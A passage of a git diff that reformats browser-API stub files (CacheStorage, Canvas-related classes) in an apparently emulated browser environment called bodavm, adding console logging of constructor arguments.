console.log_copy('CacheStorage 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CacheStorage)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CacheStorage'], "CacheStorage"); - -bodavm.toolsFunc.defineProperty('CacheStorage', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "match", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CacheStorage', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "open", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('CacheStorage', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "match", { + configurable: true, + enumerable: true, + writable: true, + value: function match() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "match", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CacheStorage', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CacheStorage'].prototype, "CacheStorage", "open", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CanvasCaptureMediaStreamTrack.js b/env_xbb_lastest_jsdom/env/CanvasCaptureMediaStreamTrack.js index 17459bf1..5ac62fb9 100644 --- a/env_xbb_lastest_jsdom/env/CanvasCaptureMediaStreamTrack.js +++ b/env_xbb_lastest_jsdom/env/CanvasCaptureMediaStreamTrack.js @@ -1,7 +1,35 @@ -// CanvasCaptureMediaStreamTrack对象 -bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'] = function CanvasCaptureMediaStreamTrack(){if (!(this instanceof CanvasCaptureMediaStreamTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'], "CanvasCaptureMediaStreamTrack"); -bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype.__proto__=bodavm.memory.globalobj['MediaStreamTrack'].prototype; -bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].__proto__=bodavm.memory.globalobj['MediaStreamTrack']; -bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "requestFrame", {configurable:true, enumerable:true, writable:true, value:function requestFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "requestFrame", arguments)}},'prototype'); +// CanvasCaptureMediaStreamTrack对象 + +bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'] = function CanvasCaptureMediaStreamTrack() { + console.log_copy('CanvasCaptureMediaStreamTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasCaptureMediaStreamTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'], "CanvasCaptureMediaStreamTrack"); +bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype.__proto__ = bodavm.memory.globalobj['MediaStreamTrack'].prototype; +bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].__proto__ = bodavm.memory.globalobj['MediaStreamTrack']; +bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "canvas", { + configurable: true, + enumerable: true, + get: function canvas() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "canvas_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "requestFrame", { + configurable: true, + enumerable: true, + writable: true, + value: function requestFrame() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "requestFrame", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CanvasFilter.js b/env_xbb_lastest_jsdom/env/CanvasFilter.js index d76d5dac..d70089d4 100644 --- a/env_xbb_lastest_jsdom/env/CanvasFilter.js +++ b/env_xbb_lastest_jsdom/env/CanvasFilter.js @@ -1,3 +1,17 @@ -// CanvasFilter对象 -bodavm.memory.globalobj['CanvasFilter'] = function CanvasFilter(){if (!(this instanceof CanvasFilter)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CanvasFilter': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasFilter'], "CanvasFilter"); +// CanvasFilter对象 + +bodavm.memory.globalobj['CanvasFilter'] = function CanvasFilter() { + console.log_copy('CanvasFilter 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasFilter)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CanvasFilter': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasFilter'], "CanvasFilter"); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CanvasGradient.js b/env_xbb_lastest_jsdom/env/CanvasGradient.js index b9c54ef7..edc60e82 100644 --- a/env_xbb_lastest_jsdom/env/CanvasGradient.js +++ b/env_xbb_lastest_jsdom/env/CanvasGradient.js @@ -1,4 +1,25 @@ -// CanvasGradient对象 -bodavm.memory.globalobj['CanvasGradient'] = function CanvasGradient(){if (!(this instanceof CanvasGradient)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasGradient'], "CanvasGradient"); -bodavm.toolsFunc.defineProperty('CanvasGradient', "addColorStop", {configurable:true, enumerable:true, writable:true, value:function addColorStop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasGradient'].prototype, "CanvasGradient", "addColorStop", arguments)}},'prototype'); +// CanvasGradient对象 + +bodavm.memory.globalobj['CanvasGradient'] = function CanvasGradient() { + console.log_copy('CanvasGradient 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasGradient)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasGradient'], "CanvasGradient"); +bodavm.toolsFunc.defineProperty('CanvasGradient', "addColorStop", { + configurable: true, + enumerable: true, + writable: true, + value: function addColorStop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasGradient'].prototype, "CanvasGradient", "addColorStop", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CanvasPattern.js b/env_xbb_lastest_jsdom/env/CanvasPattern.js index 5b5f625e..1aa0f23f 100644 --- a/env_xbb_lastest_jsdom/env/CanvasPattern.js +++ b/env_xbb_lastest_jsdom/env/CanvasPattern.js @@ -1,4 +1,25 @@ -// CanvasPattern对象 -bodavm.memory.globalobj['CanvasPattern'] = function CanvasPattern(){if (!(this instanceof CanvasPattern)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasPattern'], "CanvasPattern"); -bodavm.toolsFunc.defineProperty('CanvasPattern', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasPattern'].prototype, "CanvasPattern", "setTransform", arguments)}},'prototype'); +// CanvasPattern对象 + +bodavm.memory.globalobj['CanvasPattern'] = function CanvasPattern() { + console.log_copy('CanvasPattern 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CanvasPattern)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasPattern'], "CanvasPattern"); +bodavm.toolsFunc.defineProperty('CanvasPattern', "setTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function setTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasPattern'].prototype, "CanvasPattern", "setTransform", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CanvasRenderingContext2D.js b/env_xbb_lastest_jsdom/env/CanvasRenderingContext2D.js index 9a3a652c..8cf3261f 100644 --- a/env_xbb_lastest_jsdom/env/CanvasRenderingContext2D.js +++ b/env_xbb_lastest_jsdom/env/CanvasRenderingContext2D.js @@ -1,75 +1,645 @@ -// CanvasRenderingContext2D对象 -bodavm.memory.globalobj['CanvasRenderingContext2D'] = function CanvasRenderingContext2D(){if (!(this instanceof CanvasRenderingContext2D)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasRenderingContext2D'], "CanvasRenderingContext2D"); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalAlpha", {configurable:true, enumerable:true, get:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_get", arguments)}, set:function globalAlpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalAlpha_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "globalCompositeOperation", {configurable:true, enumerable:true, get:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_get", arguments)}, set:function globalCompositeOperation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "globalCompositeOperation_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_get", arguments)}, set:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "filter_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingEnabled", {configurable:true, enumerable:true, get:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_get", arguments)}, set:function imageSmoothingEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingEnabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "imageSmoothingQuality", {configurable:true, enumerable:true, get:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_get", arguments)}, set:function imageSmoothingQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "imageSmoothingQuality_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "strokeStyle", {configurable:true, enumerable:true, get:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_get", arguments)}, set:function strokeStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "strokeStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillStyle", {configurable:true, enumerable:true, get:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_get", arguments)}, set:function fillStyle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillStyle_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetX", {configurable:true, enumerable:true, get:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_get", arguments)}, set:function shadowOffsetX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetX_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowOffsetY", {configurable:true, enumerable:true, get:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_get", arguments)}, set:function shadowOffsetY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowOffsetY_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowBlur", {configurable:true, enumerable:true, get:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_get", arguments)}, set:function shadowBlur (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowBlur_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "shadowColor", {configurable:true, enumerable:true, get:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_get", arguments)}, set:function shadowColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "shadowColor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineWidth", {configurable:true, enumerable:true, get:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_get", arguments)}, set:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineWidth_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineCap", {configurable:true, enumerable:true, get:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_get", arguments)}, set:function lineCap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineCap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineJoin", {configurable:true, enumerable:true, get:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_get", arguments)}, set:function lineJoin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineJoin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "miterLimit", {configurable:true, enumerable:true, get:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_get", arguments)}, set:function miterLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "miterLimit_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "lineDashOffset", {configurable:true, enumerable:true, get:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_get", arguments)}, set:function lineDashOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "lineDashOffset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "font", {configurable:true, enumerable:true, get:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_get", arguments)}, set:function font (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "font_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textAlign", {configurable:true, enumerable:true, get:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_get", arguments)}, set:function textAlign (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textAlign_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textBaseline", {configurable:true, enumerable:true, get:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_get", arguments)}, set:function textBaseline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textBaseline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_get", arguments)}, set:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "direction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontKerning", {configurable:true, enumerable:true, get:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_get", arguments)}, set:function fontKerning (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontKerning_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontStretch", {configurable:true, enumerable:true, get:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_get", arguments)}, set:function fontStretch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontStretch_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fontVariantCaps", {configurable:true, enumerable:true, get:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_get", arguments)}, set:function fontVariantCaps (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fontVariantCaps_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "letterSpacing", {configurable:true, enumerable:true, get:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_get", arguments)}, set:function letterSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "letterSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "textRendering", {configurable:true, enumerable:true, get:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_get", arguments)}, set:function textRendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "textRendering_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "wordSpacing", {configurable:true, enumerable:true, get:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_get", arguments)}, set:function wordSpacing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "wordSpacing_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "clip", {configurable:true, enumerable:true, writable:true, value:function clip (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "clip", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createConicGradient", {configurable:true, enumerable:true, writable:true, value:function createConicGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createConicGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createImageData", {configurable:true, enumerable:true, writable:true, value:function createImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createLinearGradient", {configurable:true, enumerable:true, writable:true, value:function createLinearGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createLinearGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createPattern", {configurable:true, enumerable:true, writable:true, value:function createPattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createPattern", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "createRadialGradient", {configurable:true, enumerable:true, writable:true, value:function createRadialGradient (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "createRadialGradient", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawFocusIfNeeded", {configurable:true, enumerable:true, writable:true, value:function drawFocusIfNeeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawFocusIfNeeded", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "drawImage", {configurable:true, enumerable:true, writable:true, value:function drawImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "drawImage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fill", {configurable:true, enumerable:true, writable:true, value:function fill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fill", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "fillText", {configurable:true, enumerable:true, writable:true, value:function fillText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "fillText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getContextAttributes", {configurable:true, enumerable:true, writable:true, value:function getContextAttributes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getContextAttributes", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getImageData", {configurable:true, enumerable:true, writable:true, value:function getImageData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getImageData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getLineDash", {configurable:true, enumerable:true, writable:true, value:function getLineDash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getLineDash", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "getTransform", {configurable:true, enumerable:true, writable:true, value:function getTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "getTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInPath", {configurable:true, enumerable:true, writable:true, value:function isPointInPath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInPath", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasRenderingContext2D'].prototype, "CanvasRenderingContext2D", "isPointInStroke", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasRenderingContext2D', "measureText", 